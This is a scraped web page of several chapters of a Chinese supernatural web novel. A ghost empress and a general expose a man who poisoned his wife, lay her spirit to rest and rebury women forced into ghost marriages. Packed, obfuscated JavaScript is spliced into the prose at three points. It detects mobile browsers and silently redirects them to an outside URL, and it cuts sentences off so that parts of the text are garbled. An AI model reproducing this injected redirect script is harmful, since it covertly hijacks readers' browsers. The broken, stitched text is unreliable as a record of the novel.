d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后来越来越清晰,竟是反反复复轻诉着一句话。 伏在炕上的周贞和他老娘仿佛也听到了什么,猛然抬头,浑浊的眼里竟是惊惧万分。 “诶,你有听到什么声音么?”沈今鸾问道。 顾昔潮神色凝重,点点了头。 在场所有活人都能见到的鬼魂必定非同小可,执念强大,可以超脱人鬼之间。 那破裂后拼凑起来的瓷碗当中,缓缓升起一道黑雾,一个虚影逐渐从模糊到清晰。 黑雾之中,一双透明的、瘦弱无骨的手臂从碎片中伸了出来,一道人影慢慢现了形,飘飘忽忽,有身无足,隐约可见青黑的尸斑,口中重复说着那一句话。 “她是……周家娘子。”沈今鸾愣在原地,喃喃道。 “小心。”顾昔潮将纸人揽在身后,可沈今鸾却呆呆望着那一道凄厉的魂魄。 她终于听清了那句话,茫然的神情转为难以抑制的愤意。 “她是在说……”沈今鸾压下心头汹涌的怨怒,一字字复述出来:“夫君,这药不对,别给娘吃。” 顾昔潮锋利的眉角渐次压紧,藏在阴影中的眼眸倏然抬起。 这一回,沈今鸾再也克制不住。 死前死后诸般怨念痛楚有如滔天洪水涌上天灵,她掀起眼皮直直凝视着他,愤极反笑了一声: “顾将军不是想问,我是怎么死的吗?” 闻言,顾昔潮素来没什么表情的脸上闪过一丝凶戾之气,沉默之中,像是某种多年埋藏在深潭底下的困兽。 沈今鸾死死盯着他的眼,唇角噙着森森笑意,一字字地道, “我和周家娘子一样,也是病重之时,被人活活毒死的。” 13. 冤魂 沈今鸾对死前的记忆其实已经是非常模糊。 或许是被困棺椁的时光仿佛太过漫长,她几乎是要淡忘了。可周家娘子如此相似的死因又惊醒了她刻意掩埋的记忆。 她想起,在她死前,收到了远在北疆的顾大将军差人送来的那一枝春山桃。 那段时日,皇城下了连日的大雪。她被元泓幽禁永乐宫,病重得下不了榻,孤身躺在昏暗的后殿里。 看到那一枝远道而来的桃花,她病恹恹的人难得精神一振,不知是因为这是她幼时最喜欢的春山桃,还是得知顾昔潮没死在北疆。 然而,随之而来的那一碗汤药,打碎了她的无限思量。 更不必说,她死后魂魄还困在棺中,长久地不得解脱。 一想起那种无比窒息的感受,她心中便涌起深深的惊恐与愤恨,一腔怨念冲上了脑门,纸皮“哗啦啦”地抖动。 然而,话一出口,她就后悔了。万一,她假托名讳的这个孟茹姑娘不是毒死的,已在义庄里被顾昔潮验过尸,那她岂不是全露馅了? 沈今鸾心虚地瞥过去。 余光里,顾昔潮的目光不见往日的锐利,甚至似乎有一些异样的呆滞。半张脸完全隐没在了暗处,像是困于一座深不见底的囚笼里。 方才有那么一瞬,她真想问一问他: 顾昔潮,你为何毒杀我? 为何毒杀她时,还要杀人诛心,送来那一枝她少时最喜爱的春山桃。 春山桃之寓意,天知地知,唯他二人知。 可沈今鸾到底忍住了。 顾昔潮要杀她,还需什么理由吗? 火折子的光微弱下去,隐约看到顾昔潮薄韧的唇微泛着暗青色,微微颤动。 似是想说什么,却又始终没有说出口。 少见顾昔潮如此吃瘪的样子,沈今鸾心头莫名舒畅,只想要将此事快速揭过,转而拂袖,问那碗中鬼魂: “是何人毒杀的你?” 周家娘子的魂魄却不答,只幽幽叹息。 不必猜,也知真凶是何人。 一听到鬼魂的那句话,周贞吓得屁滚尿流,只拼命往炕低下的缝隙里钻。 无论他如何藏身,这一声声幽怨的叹息,轻声细语却又振聋发聩地在他耳边想起,无孔不入。 这一句话仿佛将他带回了一月前,他亲手毒死结发妻子的那一日。 …… 今岁,北疆大雪,七昼夜方止。积雪平地深五尺,河道冰冻,粮运多阻,霜害麦稼,北疆三州十余郡县冻馁而死者日以百数。 本来只是寻常的一日。天寒地冻,饿了数日的周贞顶着风雪要去地里挖点菜根,给一家老弱病小充饥。 磨磨蹭蹭一个时辰还未出门,等来了从未登门的宗族长老。 他们皮帽厚裘,亲自来他家中,将一锭金子塞入他手中,许诺事成之后会有更多。周贞这辈子从没见过那么大颗金子,闪闪金光晃得他双眼迷离,心头震荡。 人一旦起了贪念,便如疯草般滋长。 那一日,他没去干活,在街巷漫无目的地溜达了几个时辰,回家时,他手里拎着一块甜糕,还有一包草药。 他亲手拾柴烧火,煮了那一碗汤药,呆愣愣地守了一个时辰,直到底下的火苗都熄灭了,汤都快烧光了,才记得端进去。 “药要是太苦,你吃点甜糕就着喝……”他已经许久没正眼瞧过久病憔悴的妻子,违心地哄着,将香腻腻的甜糕放在她身旁。 婆娘像是受宠若惊得落下泪来,又显得格外平静,颤抖的手接过了那碗深褐色的汤药。 当夜,他没有再回屋里,在雪地搓着手,跺着脚,熬了一夜。 后半夜,实在冷得受不住了,他听到里头似乎没动静了,推门进去。 炕上女人一座山似的,僵硬得一动不动,像是没了气息。被窝缝里,露出一只干瘦的手,半耷拉地垂着。 他一步一步走过去,死死掐着掌心的指尖止不住地发颤,既是害怕,又是期待。 刚走到炕前,那只垂落的手忽然抬起,紧紧抓住了他的手,手筋根根分明。 他吓得差点尖叫起来,想要用力甩开。 “夫君……” 妻子身体抽搐着,脸色比纸钱还惨白,唇角溢出白沫。她像是也熬了一夜,垂死吊着一口气,唇口一开一合,想要对他说些什么。 可他只想着扯开她抓着他的手,慌乱之中,他听清了她在说什么: “夫君,这药不对,别给娘吃。” 他素来柔弱的妻子,被他毒死前拼尽最后一丝力气,顽强地想要做的事,不是谩骂,不是报仇,而是告诉他这药不对,不要给她婆母吃。 不要再去害他亲娘了。 说完这一句遗言,女子的手无力地垂落下去,再也没有动静了。 周贞久久地愣在原地,心中空荡茫然,眼里泪如雨下。 炕头,那甜糕一口未动,香气犹在。 地下,那盛毒药的瓷碗,跌落下去,碎成了四块。 …… 此时此刻,碎裂的瓷片拼成了完整的碗,巨大的裂痕如刀割一般刺目惊心。 “这药不对,别给娘吃。” 亲手毒死妻子的周贞已是瘫倒在地,四处乱爬,伸手想要扯住顾昔潮的氅衣下摆,挪着身子想要藏在他背后,一面连声哀求道: “救救我……” 沈今鸾眼里既是嫌恶又是悲哀,摇头道: “她并不是来害你的。” 周家娘子被那碗汤药毒死之后,瓷碗碎裂,魂魄也随之四散。她死时手里紧紧攥着瓷碗,她的执念也因此附在了碎片之中。 四块碎片的所在,就是她短暂而平凡的一生。嫁入周家,相夫教子,孝敬婆母,打理家务,叠被煮饭,照料幼子,琐碎之事占据了她所有的光阴。 却从来没有一丝害人的意愿。 周贞自是浑然不信。他害死了妻子得了一笔巨财,这辈子从未这么富裕过,转头盖了新房,还娶了新妇。 他只道她定是回来找他索命的,满屋子抱头鼠窜,最后蜷身躲在了墙角处。 周家娘子的魂魄缓慢地跟着他游移过去,面容平静,不像什么厉鬼。她死前病重,瘦得皮包骨头,显得鬼影极为矮小,撑不起身上破烂的衣衫,飘飘荡荡。 她瞧着丈夫如此疯癫窝囊的模样,叹一口气,目中只剩怜悯,道: “周贞,你给我那碗药的时候,我就已经明白你的选择了。” “族老来过之后,你便心神不宁,回来了还给我买了一块甜糕。家里,怎么买得起那东西……” “本来想着,就这样没了也挺好,家里有钱了,你们都能活得好一些。可那药太苦了,掏心挖肺的苦,我在炕上翻滚了一夜,快天明才断了气。” 说着,女人惨白的脸上竟露出一丝沉湎的笑意: “我疼得死去活来的时候,想起了我们成亲那一日,你怕我饿着,也是偷偷塞给我一块你舍不得吃的甜糕。那滋味儿,我一直记着。” 周贞呆住了,狠狠敲击着额头,眼泪纵横。 沈今鸾冷笑一声,想起了那一株千里之外送来京都的春山桃。阳光照下,花瓣里纤细的脉络还历历在目。 “真是可恨呢,”她冰寒的目光若有若无地飘向顾昔潮,咬牙道,“毒杀之前,还要假惺惺地送一块甜糕来。” 顾昔潮薄唇微微一扯,没有说话,仿佛毫无生气,无知无觉,只有袖下拧紧的指骨几乎崩裂。 周家娘子居高临下,望着抱头的周贞,闭阖了眼,凄声道: “甜糕我没动,人都要死了,吃了太浪费了,还是留给贵儿罢。” “这家里,我唯一放心不下的就是贵儿啊。” 果如顾昔潮所料,周家娘子的残魂遗留在周家,偶尔留下骇人的鬼迹,只是担心幼子丧母,无依无靠。 从始至终并非是要害人。而是想着丈夫和继母忌惮冤魂,也会善待她的幼子。 只要她冤魂在一日,周贵便能生活如常,不受苛待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14280959|151829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈今鸾望着周家娘子,心中一沉。 她的手臂僵直垂落,露出的尸斑泛着红,透明的皮肤上隐约可见大片青紫,飘移的形态,僵硬得像是尸块横行。 尤其,那魂魄的色泽十分黯淡,甚至都不能维持形体,轻飘得仿佛一阵疾风就能吹走。 沈今鸾想起赵羡对她说过的警告,忍不住道: “可你这般,也不是长久之计。残魂若不入轮回,终会有一日消散天地之间,再也无法转世了。” 周家娘子枯涸的目光望向了纸人,低了低头,又抬起头,无畏地笑道: “这一世,只要能护着贵儿,我就满足了。” 她神态温和,不像鬼魂,只是慈母。 沈今鸾垂眸不再言语,手心掐着紧紧的,想要做些什么,却有心无力。她已不是大权在握的皇后,只是一缕自身难保的孤魂。 “令郎可入我军中。” 一道沉稳有力的声音响起。 到底是惯于指挥千军万马的大将军,顾昔潮一开口,沈今鸾和周家娘子的魂魄几乎同时一震。 “虽未必能荣华富贵,只要不做逃兵,从今往后必有一口饱饭吃。” 从一开始,顾昔潮就明白周家娘子所念为何,字字落在了实处。 男人神情沉肃,仍是那副不近人情的面容。可他的语调虽然冷淡轻浅,却总有一种让人深信不疑的气势。 即便是沈今鸾也不得不承认,顾大将军从不轻易许诺,但一朝出言,便是千钧不移,此生必践。周贵能入顾昔潮麾下,受他教导,算是最好的结局了。 周家娘子自是感激涕零,连忙点头,俯身屈膝要向二人叩拜: “只要你们肯收留他,能让他有口饭吃,就是让我来世做牛做马都行。” 沈今鸾挥手止了她行礼,道: “不必你来世做牛做马。今生事,今生尽,我们不是白白帮你的,是想问你一件事。” “其他鬼娘子们都说你与鬼相公有旧,你可知如何能找到他?” 听到“鬼相公”一词,周家娘子微微一怔,垂着头似是犹疑,道: “我虽嫁给了他,可我还真从未见过他……” 沈今鸾追问道: “你的那场喜丧,他没有出现么?” 周家娘子摇摇头,道: “没有。喜丧的队伍到了尽头就会滑落山崖,我和其他鬼娘子一样,之后魂魄自由来去,连他的影子都从未见过。” “那便怪了。只有我的喜丧,他来了吗?”沈今鸾眉头紧锁,不由回忆道,“我当时在喜轿里,曾感到一丝鬼气,还看到一道黑影,就在林中,应是鬼相公无误了。我当时以为,他就是来接亲的……” “不止第一次。第二次我们以阴婚设局抓人,鬼相公也来了。” 既然鬼相公从来不见他的新娘,为何偏偏会在她周围出现呢? 沈今鸾感到头皮发麻,身形一晃,纸人若非被顾昔潮稳稳揽着,怕是已跌进了雪地里。 她暗暗瞥一眼顾昔潮,只见他的脸色也骤然变得十分难看,一双黑眸隐隐腾起血色。 显然和她一样发觉了此事的怪异之处。 她面如死灰,低头沉吟道: “凡是有我在场之时,鬼相公都会出现……” 再抬眸,她倒吸一口气,道: “他是冲着我来的。” 周家娘子忽然瞪大眼睛,上下打量了一番纸人里的沈今鸾,问道: “你,是北疆人?” “是啊。” “祖上可是军户?” “祖父兄三代皆是。” “可是嫁过人?” “没错。” “夫家在何处?” “远着呢。” “小娘子,你、你贵庚啊?” “死时二十又三。” 周家娘子算了算,忽一拍大腿,恍然大悟道: “你不会,就是……鬼相公那个远嫁的心上人吧!” 14. 往生 蓟县传闻,鬼相公出生北疆,生前曾有一位年纪相仿的心上人。二人定了亲,可他却在成亲之前死在了崤山,因此死后阴魂不散,一直心心念念着心上人。 沈今鸾幼时在北疆,恣意潇洒,无拘无束,常和豪族军户的子弟们打成一片。少年一道痛饮,一起纵马,笑声响彻天地,直至天南地北,散落天涯。 二哥来京都看她时曾说过,她走后,北疆那些少年们一直念着她。那时,被困在院中学习女工的她总想着,有生之年总要回去一趟,再见一见故人的吧。 可是,云州那一场史无前例的惨败之后,多少北疆儿郎战死沙场,马革裹尸。万里北疆,故人长绝。 难道,鬼相公是她那时玩伴中的一人? “不对。” 一直沉默的顾昔潮突然出声。 沈今鸾茫然抬头,一眼看到顾昔潮的目光冷厉似薄刃出鞘,周家娘子都被吓得飘到了纸人后头。 “哪里不对?”她追问。 顾昔潮抱刀在前胸,瞥了她一眼,不紧不慢地道: “赵羡曾有卜算,鬼相公原本的未婚妻尚在人世,只是不在北疆,和孟姑娘你不符。” 言简意赅,语罢便别过头,不再说话了。 沈今鸾回想了一下,自己在北疆并未和人定过亲,便装模作样地“哦”了一声。 周家娘子来了兴致,阴沉的脸上笑出纹路,笑呵呵地道: “那难不成是,鬼相公突然看上你了?” 沈今鸾欲哭无泪,低头看看自己的魂魄蓬头垢面,不辨相貌。 大姐,我这个样子,连我毕生宿敌都没认出来,你倒是看看我浑身上下,哪有值得鬼相公看上的地方。 她内心翻了个白眼,有意无意地瞥过去,只见顾昔潮的面色已是分外难看,手指按在刀上,竟比这鬼魂更为阴沉。 沈今鸾移开目光,轻咳几声,又问周家娘子,道: “那些鬼娘子都说,鬼相公和你颇有些渊源,我们才特地找上门来。” 周家娘子低垂着头,犹豫了好久,才抬首,下定决心一般地道: “你们是我和贵儿的恩人……好,我告诉你罢。” “我阿爹在世时,大约是十多年前,在关外曾无意中挖到他的残骸,为他立下了一处衣冠冢,就在崤山北。或许,你们能在那里找到他。” 她看了眼两人,又小声道: “他已经死了十多年了,比我们都久远,执念深重,是个很可怜的人呐……” 沈今鸾目光复杂,轻声道: “你之前怎么不说?说了,你或许就不必被迫嫁给鬼相公了。” 周家娘子拧了拧眉,透光的魂魄在颤动,暗沉沉的目光坚定起来: “我怕蓟县的人知道了,会千方百计毁去他的衣冠冢,害他不得超生。阿爹去世前曾说,鬼相公不是什么恶鬼,是一个英雄,阿爹不想有人打搅到他……我答应了阿爹,死都不能说,我这一辈子,算是做到了。” 没想到小小边陲蓟县,竟有如此不计生死守诺的女子。沈今鸾心神震动,望着侃侃而谈的女鬼,不禁问道: “鬼相公不是厉鬼么,你和你阿爹,还有那些鬼娘子好像都不怕他,也不恨他?” 周家娘子扯了扯僵硬的嘴角,笑道: “我是死后才想明白,鬼相公不过是宗族长老们操控人心的手段罢了。他们知道人心怕鬼,便想出这阴招来,这天底下啊,没什么比恐惧更能制住人的了。” 她歪着头看着纸人,又反问道: “再说了,同为鬼魂,又有什么好怕的,鬼有人可怕吗?你且想一想,害得你我这般惨的,究竟是人还是鬼?” 沈今鸾一时语塞。 周家娘子不放心,又向顾昔潮询问一些军营中事。 慈母之心,大抵如此。孩儿极为琐碎的日常,都是她们心之所系。 沈今鸾到后来便颇有几分不耐烦。但顾昔潮却全然没有露出一丝烦躁之态,极有耐心地一一解答,声音低沉而温和。 周家娘子问完之后,舒出一口气,像是如释重负,心愿已了,连魂魄的颜色都不再暗沉无光的了。 一道微光破开了无边无际的暗夜,从远处的群山之间穿行而至,普照大地。周氏的魂魄之体开始变得越来越淡,像是一幅年久褪色的画像。 周家娘子朝二人行礼道: “我要去上路了,幼子就劳烦二位了。今后若有差遣,定然万死不辞。” 沈今鸾颔首回礼。 周家娘子不去投胎,并不像其余被迫阴婚的女子那样心怀愤恨,想要找害她们的人报仇。相反,她赴死时甚至是心甘情愿的。 她如此强大的执念只为周贵一子。如今托付好了幼子,她心愿得偿,就能放心地去轮回转世。 天上下起了洁净的大雪,飘零大地。 周家娘子作别了一人一鬼,在明亮的光芒中飘向远处,像是游走了一般,倏然不见了。再看,她的影子已在十丈开外了,正飘向茫茫天际,渐渐远去。 空寂之中,忽然传来一声呼喊: “阿娘!” 沈今鸾回头望去,只见一道瘦小的身影从远处奔来。 是周贵。 他的棉鞋跑几步便拖烂了,他干脆赤着脚在雪地里跑,小小的步子像是竭尽全力追上那道孤影。 天穹庞然,无边无尽。天上那一道飘走的孤影,与地上渺小的孩童横亘开来,遥遥相隔,越离越远,最后化为一道清光,消失不见了。 “阿娘别走……” 稚嫩的童声回荡在冰天雪地之中,呜咽不绝。 飞溅而起的雪水渗入他棉絮破漏的小袄,是阿娘在灯下一针一线给他做的。 手里紧紧握着的破布小人滚落下来,埋进了雪里,是阿娘和他一起捡起别人家的碎布头缝起来的。针脚粗大的是他缝的,针脚细密的是阿娘缝的。 即便衣不蔽体,食不果腹,阿娘也总想给他最好的。 他的阿娘不是鬼。他会听她的话,乖乖长大,好好干活,将来还要给阿娘裁新衣,盖大房子,请最好的郎中…… 可是,从此,他再也没有阿娘了。 周贵脚步趔趄,一头跌倒在雪地里。 不远处,有人踏雪而来,俯下身,缓缓从雪地上拾起破布小人,掸去雪渍,递到他眼前。 周贵抬起模糊的眼帘,先看到那人的袖口绣着一朵白描花瓣。视线上移,看到一个身姿挺拔,面容严肃的男人。 是给他饴糖的那个男人。 他另一只手的臂弯里,还环着一个滑稽的纸人。方才一直照看着自己的戎装军士,此刻立在他身后,威武恭敬。 周贵紧紧抱住了破布小人,噘着嘴,一脸倔强: “我哪里也不去,我要去找阿娘。” 男人看着他,冷冷地道: “你阿娘已经走了。世上其他的人,除了可怜你,只会想再踩你一脚,让你再也爬不起来。” 男人声色虽平和,气势却望之生畏。周贵不说话,泪花在眼底打转,强忍着一滴都不落下来。 顾昔潮负手而立,悠远的目光望向天际处的群峦,平静地说道: “我阿娘死时,我和你一般大。而我,也和你今日一样,什么都做不了。” 他闭了闭眼,修长的手指握在刀柄处,轻轻摩挲着刀鞘上的纹路。再睁开眼时,他黑眸里的目光深邃而有力: “我后悔自己不够强大,没能保护得了阿娘。于是我立誓,今后的一生里,不会再让她失望,永远不再那样 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据传,当年顾侯爷年轻时在临安游历,曾与一名画舫舞姬相好。那女子产下顾昔潮后,一直没等到侯爷,母子俩穷困潦倒难以为继,只能携子千里上京,却被顾家祖母命人拒之门外。 女子当即将襁褓中的顾昔潮交给侯府下人,自己则留下一封书信后断然离去。 待侯爷下朝再找人,那女子已投河自尽,只留下昔年二人定情时他所赠的一柄金刀。 为了不拖累儿子,不坏他今后声名,做娘的,唯有一死,为他铺平这一条坦途。 从此,顾昔潮便养在顾家嫡母房中,当作嫡子教养长大,京都上下,从来无人敢轻视分毫。 丧母之痛,无人可言,更不堪说,从不展露人前。可今日看到周贵,顾昔潮当时的心情,她才能稍稍体味一二。 难怪后来顾辞山死后,顾昔潮为夺顾氏家主之位,变得狠戾乖觉,不择手段,不念六亲情缘,时至今日都在追杀顾家人,必是也有这一层缘故吧。 大雪已经停了许久了。 顾昔潮立在皑皑雪地里,身姿高阔,雪满氅衣,说不出的萧肃。 沈今鸾忽然没头没尾地问了一句: “就算不是为了鬼相公的下落,你也会救下没了娘的周贵,是不是?” 男人长睫翕张,缓缓点了点头。 果真如此。 沈今鸾会如此问,是因为她没由来地回忆起了少时和顾昔潮的初见。 他救下了那时最无助的她。 …… 十三岁那年,她身负家族使命入京,因幼年失恃,被一群世家子弟在宴上当庭取笑。 那是秋日贵族高门的赏菊宴,才从北疆来京都的她亦在列席,因不会使用蟹八件而惶惶不安。 宴席上,几名子弟贵女从头到脚地打量着她,从嘲笑她身上不时兴的罗裙料子,到头上艳俗的金钗银环,到毫不得体的拆蟹手法。 直到最后,他们肆无忌惮地说她没了母亲,所以才无教养。 她强忍着不让眼泪落下,气得浑身发抖,心里死死记着嬷嬷教导的“体面”二字。 为了体面,她不能与他们争执,这么多人看着呢。 “砰——” 身后忽传来酒盏碎裂的声响。 “你又算什么东西,把别人的母亲当谈资?” 一道清隽修长的身影从簇拥的人群中走出来,锦袍白氅,墨发玉冠,端的是丰神俊朗,华贵无双。 方才正是他,拂袖之间,随手砸烂了一盏价值连城的红玉杯盏。 金丝革靴踏破地上碎玉,他一步一步逼近那些高门子弟,俊面冷厉,却是淡淡笑着的。 那便是少年时的顾家九郎了。 15. 下葬 喧闹的宴席静了半刻,几个高门子弟见了来人的面,顿时如蔫了一般,为首一人低了声音,道: “可、可是她,她不过是北边来的土包子……” “是啊九郎,一个土包子,值得你大动干戈吗?来来来,我们喝酒。” 还有不少人举杯相劝,想要息事宁人。 少年轻笑一声,玉白的长指摩挲着腰际一块无瑕紫玉,唇角微微一扯,道: “你们的命,也不比她高贵。” 那群人面上挂不住,轰然站起,不服气地道: “九郎,你怎么说话的?我们陈家可是自我太爷开始,世代簪缨,岂能是此等军户可比?我母亲可是国公嫡女,长公主伴读……” 他肆意吆喝几句,才意识到不对。 从未有人敢在顾昔潮面前提及母亲二字。 少年缓步走过去,与他们相对而立,身量高得直接露出半个头来,那双黑眸清亮冷冽,如山间结冰的泉。 “既然我的道理你不愿听,”他唇角还噙着温文尔雅的笑,道,“那么,我按你的道理来。” 下一瞬,少年一言不发,径自踹翻了酒桌,将那个最先侮辱她母亲的高门子弟打得门牙断裂,直接趴在地上。 金纹革靴踩在那人背之上,缓慢地碾了几脚,就差要将人脊骨折断,一命呜呼。 “我比你高贵,我打你骂你,你都得受着……”他屈身下去,声音阴沉,笑得嘲讽,“就算我杀你,也是天经地义。不是么?” 在场无人敢吱声,无人敢还手,任由少年压着那几人向她跪地求饶。 顾家九郎,是深得圣心的顾侯爷之子,是战无不胜的陇山世子顾辞山最疼爱的弟弟,是连皇族见了都要礼让三分的公子爷。 月前刚在皇宫的演武场里狠狠教训了十皇子,把人鼻子都打歪了,先帝也不过轻拿轻放,一笑置之。 有了京都最是风头无量的顾家九郎为她出头,从此,无人再敢对她指指点点,戳她痛处。 因为,顾昔潮的逆鳞,便是陇山侯府的逆鳞,亦是整个大魏朝的逆鳞。 他打够了,用一块锦帕轻轻拭去手背的血痕,离去之前,回头看了一眼尚在懵怔的她,微微颔首示意,仍是一派儒雅的公子作风。而后,扬了扬眉,潇洒离席。 这便是她和顾昔潮的初见了。 沈今鸾惊觉,她竟然也有和他同病相怜,报团取暖的时日。 可这却像是上辈子的事了。 天蒙蒙亮,临近破晓,远山之间浮现出几缕鱼肚白,天穹明净如玉。 昔日那个为她出头的富贵公子,岁月磨砺的轮廓陷在深深的暗影里,阴郁沉敛,没有了少年时的恣睢之气。 日头的白光正在一点点照亮他轮廓之间的那片暗影,沈今鸾看着看着,却突然愣住了。 前几日赵羡家贫不常点灯,正堂晦暗无比,此刻天光大亮,天地万物澄澈如洗。 顾昔潮的模样从未像现在那样清晰。 目光所至,她可以看到他颈侧凸起的经脉,下颔新生的青茬,鼻梁高起的弧度,还有……还有鬓边的一缕白发? 她这才发觉,他的鬓边并非许久未化的霜雪,而是各有一缕细细的银丝,没入浓密的乌发当中。 她到底死了多少年了,顾昔潮今岁年庚几何?这些年他在北疆是有多辛劳困苦,竟生出了白发? 即便与他一生为敌,沈今鸾却一时不知是喜是悲,浑然生出一股不真实之感。 斗了大半辈子,将军白发,而她做了一缕孤魂。 “将军,人都到齐了。” 骆雄那熟悉的洪亮声音打断了她的思绪。 沈今鸾回过神来,瞟了一眼顾昔潮身后数十名军士。他倒是慈心,一直让亲卫看住了周贵,没让孩童看到他阿爹的丑态,更没听到阿娘去世的残酷真相。 直到阿娘魂魄离去之时,母子连心,周贵不顾好吃的饴糖,趁军士不防从屋后奔出来,想要叫阿娘留下来。只可惜,人鬼殊途。 顾昔潮现在又让人将周贵引开带走了,看来他又要有所动作了。 沈今鸾放眼望去,竟看到周家小半亩大的院子里,密密麻麻站满了十余锦衣华服之人。 纸人背倚在男人的臂前,优哉游哉,等着看一场好戏。 …… 躲在屋里的周贞睁开紧闭的双眼,眼中浊泪已干,左右张望,确认不见那鬼影,才松一口气,缓缓站了起来。 还没起身,双臂突然被人猛地擒住,提起来,整个人拖曳过门槛,一路挟到了一双革靴面前。 周贞惊恐抬眼。 革靴的主人正是先前那个衣着普通的男人,他的周围身后竟立着数名身着官服,头戴高帽的大人。这些衣冠楚楚的大人们面对正中的男人却无不姿态谦卑,毕恭毕敬。 男人居高临下地看着他,眼里再无一刻前的悲悯,周身笼罩着骇人的杀伐之气: “周贞毒杀发妻,证据确凿。蓟县县令县丞今日皆在,可有异议?” 在场的蓟县诸位官员何时见过这等阵仗。 当年听闻顾昔潮是失了圣心被贬来北疆的,众人再没了攀附孝敬的心思。可顾氏到底是百足之虫,死而不僵,他们往常只需做一些表面功夫。 所幸顾昔潮自来北疆,行事颇为低调,几不插手民政,也不在官场往来,见他面的机会亦寥寥无几。 蓟县官场素来倚仗宗族势力,往日里这种事睁一只眼闭一只眼,他们从不插手。 没想到此次鬼相公一事,也不知为何触及顾将军的逆鳞了,竟令他一改往日作风,数度亲自带兵露面不说,今日还坐镇监刑。 冷汗从众人的官帽里漏下来,浸透了鬓角。县令不敢怠慢,率先上前一步,大声回道: “某特来作证,确有此事。” “某也作证,证据确凿。” 哪有什么“特来”,都是半夜三更被顾将军的亲兵敲开家门,“请”来此地的。 其余诸人纷纷点头如捣蒜。自己因渎职而被牵连,丢了官帽是小,被顾昔潮这煞神捉住便是不妙。 毕竟,顾大将军手起刀落,不差再多几个他们的人头,就算远在京都的皇帝要治他滥杀官员的罪,他们的尸身也早就凉透了。不值当的。 顾昔潮神色平和如常,轻抚袖口,道: “按大魏律,罪当如何?” 县丞忙不迭回道: “当杖责五十。” 虽只是五十杖,可大可小,可生可死,全凭行刑人的心意。 毕竟在官场浸淫多年,众人心里深知顾昔潮这摆明了是要杀一儆百。 如此一来,哪怕势力强如宗族,今后也得忌惮三分。就算若再出了“鬼相公”这档子事,也会因今日之事投鼠忌器。 顾大将军虽已放逐北疆多年,雷霆手段可一点不逊于当年倾轧朝堂之时。 县令擦了擦汗,当即下令“即刻行刑”。 周贞膝头一软,跪入雪地,申辩道: “不能怪我,我也是走投无路啊……是、是鬼相公!要不是那恶鬼,我也下不了手杀阿茹啊……” 骆雄那只碎碗仍在他跟前,冷笑道: “仵作验过了,碗里残留着砒霜。这毒是你下的,药你是喂的,可无人逼你,关鬼相公什么事?!” 周贞痛哭流涕,又突然想到了什么,朝顾昔潮跪爬过去,喊道: “我也去投军!只要将军饶我一命,我做什么都行!” 见男人提步走到他面前,周贞以为有救,又连连磕了几个响头,额头破了皮,在雪地里晕开血块。 顾昔潮扫了脚底的人一眼,冷冷道: “杀妻之人,也配入我军中?” 他踱着步子,来到周贞的面前,微微屈身,道: “她嫁你为妇,一生托付于你,你为人夫君,不尊她爱她,还背信弃义,下此毒手。” “顾某此生,最恨你这等杀害至亲之人。” 周贞大骇,一身皮袄子裹不住肥硕的肚皮,如蛆虫一般瘫倒在地,大喊着“大人饶命啊!” 顾昔潮略一低头,低沉的声音只有周贞能听见: “你不该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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棺椁周围的军士们得到顾昔潮的示意,开始抬起棺椁缓缓埋入土坑之中,将这十九名女子下葬。 众人唱起了送葬的哀歌,时而高亢,时而低沉,抑扬顿挫,婉转动人。 纷飞的纸钱下,飘扬的余烬里,顾昔潮默默扫视了一遍十九座墓,沉声道: “女子生而为人,不一定要作为谁人的女儿,谁人的妻子,不必非得入谁家的祖坟,才算有归处。我今日替诸位新立坟冢,收敛尸骨于一处,入土为安。” “从此,己身便是归处。” 语调沉毅,掷地有声。 就算作为孤魂下葬,独立一座孤坟,又有何不可? 我,便是我自己的归处。 沈今鸾细细品着这一句话,心神震荡不已。 她的四周,静静飘落的纸钱忽作漫天飞扬,犹如欢欣鼓舞。树影随之婆娑,响振一片枯枝林木。 这些死去的无辜女子,自今日起,脱离了夫家,自己有了坟冢,也有了归处,便可以往生,轮回转世了。 敬山道人赵羡正半蹲在墓碑前,手里捧着一册子,一一为这些碑文描上黑墨。 一如赵氏祖宅供桌上的灵位,写着死去女子的姓氏。 唯独不同的是,这一回,顾昔潮命赵羡单独为这些女子立墓造碑,用的并非是夫家的姓,而是她们原本的姓名。 她们,不再是谁人的妻子,只是她自己。 赵羡手端着黑墨,正在描写最后一块碑上的人名。被军士领来的周贵,朝着那墓碑重重磕了好几个响头,哭得泣不成声。 碑上阴刻的字描完了墨,一个一个全露了出来, 上面赫然是“孟氏讳茹之墓”六个大字。 “嫁入周家之前,她叫孟茹。”顾昔潮望着墓碑,道,“从此,她不再是周家娘子,只是孟茹。” 而后,他的目光缓缓移过来,不动声色地落在她面上。 “孟姑娘,”顾昔潮眉峰微动,缓缓地道,“她是孟茹,你又是谁?” 16. 荒坟 坟前一曲挽歌唱尽了,半空中洋洋洒洒的纸钱寂静无声地落满白茫茫的雪地。 顾昔潮不动声色,也不催促,只等她作答。 “贱名不值一提,恐污了将军尊耳。”沈今鸾咬着牙道。 闻她此言,顾昔潮眉梢一动,似是不悦,修长有力的五指轮流叩动着腰际的刀柄,流露出几分微微躁意。 纸人还被顾昔潮揽在臂下没动,沈今鸾脑中已闪过无数种后路。 下下之策,不过就是魂体破纸而出,自己去往崤山找到鬼相公,大不了就是个魂飞魄散。 “她呀,不过是我在路上偶遇的孤魂野鬼。” 赵羡的声音从后传来。 